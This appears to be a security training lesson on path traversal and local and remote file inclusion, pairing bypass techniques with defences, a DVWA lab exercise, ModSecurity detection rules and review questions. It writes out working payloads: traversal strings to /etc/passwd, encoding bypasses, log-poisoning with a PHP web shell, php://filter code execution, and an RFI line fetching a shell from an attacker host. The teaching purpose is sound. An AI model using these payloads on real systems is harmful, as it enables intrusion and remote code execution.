Path traversal is the violation of a directory boundary. The application intends to serve files from /var/www/uploads/ but accepts ../../etc/passwd as the filename, walks out of the intended directory, and returns the OS password file. LFI (Local File Inclusion) is the special case where the included file is executed — PHP include $_GET['page'] runs the file as PHP. RFI (Remote File Inclusion) is the special case where the path is a URL and the include fetches it. CVE-2018-7600 (Drupalgeddon2) was an LFI chain. CVE-2021-41773 (Apache path traversal) was an off-by-one in the path normalizer that let ..%2f escape the webroot.
A path is a sequence of separators (/ on Unix, \ on Windows, both on web servers). The .. segment refers to the parent directory. The vulnerability arises when an application joins user input to a base path without verifying that the result is still within the base directory.
realpath() resolves .. and checks the canonical path is under /var/www/pages
The defense is to canonicalize the path (via realpath or equivalent), then verify the canonical path starts with the intended base directory. String matching on the input is insufficient because the same canonical path has many encodings.
Find the sink — include, require, file_get_contents, fopen, readfile, Bytes.read(Path.of(userInput)), fs.readFileSync(userInput). Anywhere a user-supplied filename or path flows into a filesystem call.
Probe with ../ — ?file=../../../../etc/passwd. If the response contains root:x:0:0:, classic path traversal works.
Bypass naive sanitization — ?file=..%2f..%2f..%2f (URL-encoded slashes), ?file=..%252f..%252f (double-encoded), ?file=..%c0%af..%c0%af (overlong UTF-8 encoding, hits CVE-2021-41773 on Apache 2.4.49), ?file=....//....// (the ....// becomes ../ after a single-pass str_replace('../', '', $input) that doesn’t recurse).
Find an executable file (LFI → RCE) — common targets:
/var/log/apache2/access.log ← log poisoning: UA contains PHP
/var/log/auth.log ← SSH log poisoning (need to fail SSH login with user `<?php system($_GET['c']); ?>`)
/proc/self/environ ← if CGI, contains user-controlled header values
RCE via PHP filters — php://filter/convert.base64-encode/resource=/etc/passwd returns base64-encoded file content (avoids the < byte that breaks include of binary files). php://filter/convert.base64-decode/resource=php://input decodes POST body and runs it.
RFI — only works if PHP has allow_url_include = On (default off since PHP 5.2). With RFI, ?page=http://attacker/shell.txt runs the remote file as PHP. The attacker’s shell.txt contains <?php system($_GET['c']); ?>.
Recursive str_replace bypass. Code that does str_replace('../', '', $input) once leaves ....// → ../ after one strip. Defense: loop the replace until stable, or use a regex, or use realpath().
Unicode normalization.../ (full-width slash) and ..⁄ normalize to ../ in some locales. Defense: t:urlDecodeUni and strip Unicode slash variants.
Path-as-is in curl. Some web clients normalize ..%2f to ../ before sending. Use curl --path-as-is to preserve the encoding; the server-side normalizer may resolve it differently.
PHP filter chain RCE without php://input. The php://filter/convert.base64-decode filter can be chained with convert.iconv.UTF-8.UTF-7 and others to construct arbitrary PHP code from a chain of filters — the “filter chain” technique discovered in 2022 (synacktiv php_filter_chains). Defense: block php:// in user input entirely.
Windows short-name (8.3). NTFS keeps 8.3 short names (ADMINI~1.PHP) for backwards compat. The short name bypasses extension allowlists. Defense: fsutil behavior set disable8dot3 1 on Windows servers.
Windows alternate data streams (ADS).file.php::$DATA reads the raw data stream and bypasses extension checks. file.php:stream parses the file as a stream and may bypass extension filtering. Defense: strip :$ patterns from input.
Evasion
Bypasses
Defense
....//
Single-pass str_replace('../', '')
Loop until stable; use regex
Double URL encoding
Single urlDecode
t:urlDecodeUni (handles %uXXXX and double)
Overlong UTF-8 (%c0%af)
ASCII-only matchers
Validate UTF-8; reject overlong sequences
Null byte (%00)
Pre-PHP 5.3.4 string concat
Upgrade; reject null bytes in input
PHP filter chain
php:// block
Block php:// scheme entirely
Windows 8.3 short names
Extension allowlist
Disable 8.3 names on NTFS
⚠️ What caught me: A target had realpath() in the upload code but the developer wrote:
if (strpos(realpath($file), "/var/www/uploads/") !== 0) { die("invalid"); }
The intent was to ensure the resolved path stays in the uploads directory. The bug: when $file did not exist on disk, realpath() returned false, and strpos(false, ...) returned false, which is !== 0 (true) — so the check passed for nonexistent files. The attacker supplied a path that did not exist yet, then created it via a separate upload. Lesson: realpath() returns false for nonexistent paths; always check realpath() === false first, then validate the canonical path.
Container: DVWA File Inclusion module (low/medium/high/impossible), or vulnerables/web-dvwa.
Terminal window
dockerrun--rm-d-p80:80vulnerables/web-dvwa
# DVWA Security: low, medium, high
# Module: File Inclusion
Objective: at low, do classic LFI of /etc/passwd. At medium, bypass the http:// block by using php://filter. At high, do log poisoning + LFI to RCE.
Expected flag format: flag{lfi_dvwa_log_poisoning_rce_confirmed}.
Detection that should fire: ModSecurity 930100 family on every payload; 930120 (OS File Access Attempt) on /etc/passwd request; 933100 (PHP Injection) when the log file is included.
Conceptual: explain the difference between path traversal and LFI. Give one scenario where path traversal is a critical bug but LFI is not possible.
Technical: walk through how PHP’s php://filter/convert.base64-encode filter lets an attacker read a binary file via LFI when a direct include would fail. What does the filter do at the PHP stream layer?
Scenario: a target strips ../ with str_replace('../', '', $input) and then concatenates with the base path. Demonstrate the recursive bypass and explain why str_replace is the wrong tool.
Why is realpath() an effective defense when used correctly, and what are the two failure modes (one of which is not even mentioned in the PHP docs) that compromise its use?
Compare ZIP-slip (CVE-2018-1002201 family across Java/Go/Ruby zip libraries) and the ../ URL parameter in terms of the trust boundary being violated. What is the common root cause?